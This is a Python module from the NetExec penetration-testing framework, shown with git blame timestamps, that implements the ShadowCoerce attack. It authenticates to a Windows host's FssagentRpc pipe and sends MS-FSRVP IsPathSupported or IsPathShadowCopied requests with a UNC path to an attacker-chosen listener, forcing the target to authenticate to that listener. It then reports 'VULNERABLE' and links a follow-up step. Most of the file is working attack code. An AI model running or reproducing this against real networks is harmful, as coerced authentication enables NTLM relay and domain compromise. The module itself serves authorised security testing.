NetExec/nxc/modules/shadowcoerce.py

279 lines
9.8 KiB
Python
Raw Normal View History

#!/usr/bin/env python3
2022-06-29 23:11:46 +00:00
import time
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import BOOL, LONG, WSTR, LPWSTR
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
2023-05-02 15:17:59 +00:00
from impacket.dcerpc.v5.rpcrt import (
RPC_C_AUTHN_WINNT,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_AUTHN_GSS_NEGOTIATE,
)
from impacket.smbconnection import SessionError
from nxc.logger import nxc_logger
2022-06-29 23:11:46 +00:00
class NXCModule:
2023-05-02 15:17:59 +00:00
name = "shadowcoerce"
2022-06-29 23:11:46 +00:00
description = "Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
2023-05-02 15:17:59 +00:00
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
2022-06-29 23:11:46 +00:00
def options(self, context, module_options):
"""
2023-05-02 15:17:59 +00:00
IPSC Use IsPathShadowCopied (default: False). ex. IPSC=true
LISTENER Listener IP address (default: 127.0.0.1)
"""
2023-05-02 15:17:59 +00:00
self.ipsc = False
2022-06-29 23:11:46 +00:00
self.listener = "127.0.0.1"
2023-05-02 15:17:59 +00:00
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
if "IPSC" in module_options:
2022-06-29 23:11:46 +00:00
# Any string that's not empty can be casted to bool True
2023-05-02 15:17:59 +00:00
self.ipsc = bool(module_options["IPSC"])
2022-06-29 23:11:46 +00:00
def on_login(self, context, connection):
c = CoerceAuth()
2023-05-02 15:17:59 +00:00
dce = c.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
2023-07-03 17:18:33 +00:00
aesKey=connection.aesKey,
2023-05-08 18:39:36 +00:00
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
2023-05-02 15:17:59 +00:00
pipe="FssagentRpc",
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
)
2022-06-29 23:11:46 +00:00
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
if dce == 1:
context.log.debug("First try failed. Creating another dce connection...")
2022-06-29 23:11:46 +00:00
# Sleeping mandatory for second try
time.sleep(2)
2023-05-02 15:17:59 +00:00
dce = c.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
2023-07-03 17:18:33 +00:00
aesKey=connection.aesKey,
2023-05-08 18:39:36 +00:00
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
2023-05-02 15:17:59 +00:00
pipe="FssagentRpc",
)
if self.ipsc:
context.log.debug("ipsc = %s", self.ipsc)
context.log.debug("Using IsPathShadowCopied!")
2022-06-29 23:11:46 +00:00
result = c.IsPathShadowCopied(dce, self.listener)
else:
context.log.debug("ipsc = %s", self.ipsc)
context.log.debug("Using the default IsPathSupported")
2022-06-29 23:11:46 +00:00
result = c.IsPathSupported(dce, self.listener)
try:
dce.disconnect()
except SessionError as e:
context.log.debug(f"Error disconnecting DCE session: {e}")
2022-06-29 23:11:46 +00:00
2023-05-02 15:17:59 +00:00
if result:
2022-06-29 23:11:46 +00:00
context.log.highlight("VULNERABLE")
2023-05-08 18:39:36 +00:00
context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce")
2023-05-02 15:17:59 +00:00
2022-06-29 23:11:46 +00:00
else:
context.log.debug("Target not vulnerable to ShadowCoerce")
2022-06-29 23:11:46 +00:00
2022-06-29 23:11:46 +00:00
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
2023-05-02 15:17:59 +00:00
def __str__(self):
2022-06-29 23:11:46 +00:00
key = self.error_code
error_messages = system_errors.ERROR_MESSAGES
error_messages.update(MSFSRVP_ERROR_CODES)
if key in error_messages:
error_msg_short = error_messages[key][0]
error_msg_verbose = error_messages[key][1]
2023-10-12 21:06:04 +00:00
return f"SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
2022-06-29 23:11:46 +00:00
else:
2023-09-24 04:06:51 +00:00
return f"SessionError: unknown error code: 0x{self.error_code:x}"
2022-06-29 23:11:46 +00:00
2022-06-29 23:11:46 +00:00
################################################################################
# Error Codes
################################################################################
MSFSRVP_ERROR_CODES = {
2023-05-02 15:17:59 +00:00
0x80070005: (
"E_ACCESSDENIED",
"The caller does not have the permissions to perform the operation",
),
2022-06-29 23:11:46 +00:00
0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
2023-05-02 15:17:59 +00:00
0x80042301: (
"FSRVP_E_BAD_STATE",
"A method call was invalid because of the state of the server.",
),
0x80042316: (
"FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS",
"A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress.",
),
0x8004230C: (
"FSRVP_E_NOT_SUPPORTED",
"The file store that contains the share to be shadow copied is not supported by the server.",
),
0x00000102: (
"FSRVP_E_WAIT_TIMEOUT",
"The wait for a shadow copy commit or expose operation has timed out.",
),
0xFFFFFFFF: (
"FSRVP_E_WAIT_FAILED",
"The wait for a shadow copy commit expose operation has failed.",
),
0x8004230D: (
"FSRVP_E_OBJECT_ALREADY_EXISTS",
"The specified object already exists.",
),
2022-06-29 23:11:46 +00:00
0x80042308: ("FSRVP_E_OBJECT_NOT_FOUND", "The specified object does not exist."),
2023-05-02 15:17:59 +00:00
0x8004231B: (
"FSRVP_E_UNSUPPORTED_CONTEXT",
"The specified context value is invalid.",
),
0x80042501: (
"FSRVP_E_SHADOWCOPYSET_ID_MISMATCH",
"The provided ShadowCopySetId does not exist.",
),
2022-06-29 23:11:46 +00:00
}
################################################################################
# RPC CALLS
################################################################################
class IsPathSupported(NDRCALL):
opnum = 8
2023-05-02 15:17:59 +00:00
structure = (("ShareName", WSTR),)
2022-06-29 23:11:46 +00:00
2022-06-29 23:11:46 +00:00
class IsPathSupportedResponse(NDRCALL):
structure = (
2023-05-02 15:17:59 +00:00
("SupportedByThisProvider", BOOL),
("OwnerMachineName", LPWSTR),
2022-06-29 23:11:46 +00:00
)
2022-06-29 23:11:46 +00:00
class IsPathShadowCopied(NDRCALL):
opnum = 9
2023-05-02 15:17:59 +00:00
structure = (("ShareName", WSTR),)
2022-06-29 23:11:46 +00:00
2022-06-29 23:11:46 +00:00
class IsPathShadowCopiedResponse(NDRCALL):
structure = (
2023-05-02 15:17:59 +00:00
("ShadowCopyPresent", BOOL),
("ShadowCopyCompatibility", LONG),
2022-06-29 23:11:46 +00:00
)
2022-06-29 23:11:46 +00:00
OPNUMS = {
2023-05-02 15:17:59 +00:00
8: (IsPathSupported, IsPathSupportedResponse),
9: (IsPathShadowCopied, IsPathShadowCopiedResponse),
2022-06-29 23:11:46 +00:00
}
class CoerceAuth:
2023-05-02 15:17:59 +00:00
def connect(
self,
username,
password,
domain,
lmhash,
nthash,
2023-07-03 17:18:33 +00:00
aesKey,
2023-05-02 15:17:59 +00:00
target,
pipe,
doKerberos,
dcHost,
):
2022-06-29 23:11:46 +00:00
binding_params = {
2023-05-02 15:17:59 +00:00
"FssagentRpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\FssagentRpc]" % target,
"UUID": ("a8e0653c-2744-4389-a61d-7373df8b2292", "1.0"),
2022-06-29 23:11:46 +00:00
},
}
2023-05-08 18:39:36 +00:00
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
2022-06-29 23:11:46 +00:00
dce = rpctransport.get_dce_rpc()
2023-05-02 15:17:59 +00:00
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
2023-07-03 17:18:33 +00:00
aesKey=aesKey,
2023-05-02 15:17:59 +00:00
)
2022-06-29 23:11:46 +00:00
dce.set_credentials(*rpctransport.get_credentials())
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
2023-02-08 11:09:52 +00:00
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
2023-09-24 04:06:51 +00:00
nxc_logger.info(f"Connecting to {binding_params[pipe]['stringBinding']}")
2023-05-02 15:17:59 +00:00
2022-06-29 23:11:46 +00:00
try:
dce.connect()
except Exception as e:
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
2023-05-02 15:17:59 +00:00
if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0:
2022-06-29 23:11:46 +00:00
dce.disconnect()
return 1
2023-09-24 04:06:51 +00:00
nxc_logger.debug(f"Something went wrong, check error status => {str(e)}")
2022-06-29 23:11:46 +00:00
nxc_logger.info("Connected!")
2023-09-24 04:06:51 +00:00
nxc_logger.info(f"Binding to {binding_params[pipe]['UUID'][0]}")
2022-06-29 23:11:46 +00:00
try:
2023-05-02 15:17:59 +00:00
dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"]))
2022-06-29 23:11:46 +00:00
except Exception as e:
2023-09-24 04:06:51 +00:00
nxc_logger.debug(f"Something went wrong, check error status => {str(e)}")
2022-06-29 23:11:46 +00:00
nxc_logger.info("Successfully bound!")
2022-06-29 23:11:46 +00:00
return dce
def IsPathShadowCopied(self, dce, listener):
nxc_logger.debug("Sending IsPathShadowCopied!")
2022-06-29 23:11:46 +00:00
try:
request = IsPathShadowCopied()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
2023-09-24 04:06:51 +00:00
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
2022-06-29 23:11:46 +00:00
# request.dump()
dce.request(request)
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
nxc_logger.debug("Attack may of may not have worked, check your listener...")
2023-05-02 15:17:59 +00:00
return False
2022-06-29 23:11:46 +00:00
2023-05-02 15:17:59 +00:00
return True
2022-06-29 23:11:46 +00:00
def IsPathSupported(self, dce, listener):
nxc_logger.debug("Sending IsPathSupported!")
2022-06-29 23:11:46 +00:00
try:
request = IsPathSupported()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
2023-09-24 04:06:51 +00:00
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
2022-06-29 23:11:46 +00:00
dce.request(request)
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
nxc_logger.debug("Attack may of may not have worked, check your listener...")
2023-05-02 15:17:59 +00:00
return False
2022-06-29 23:11:46 +00:00
return True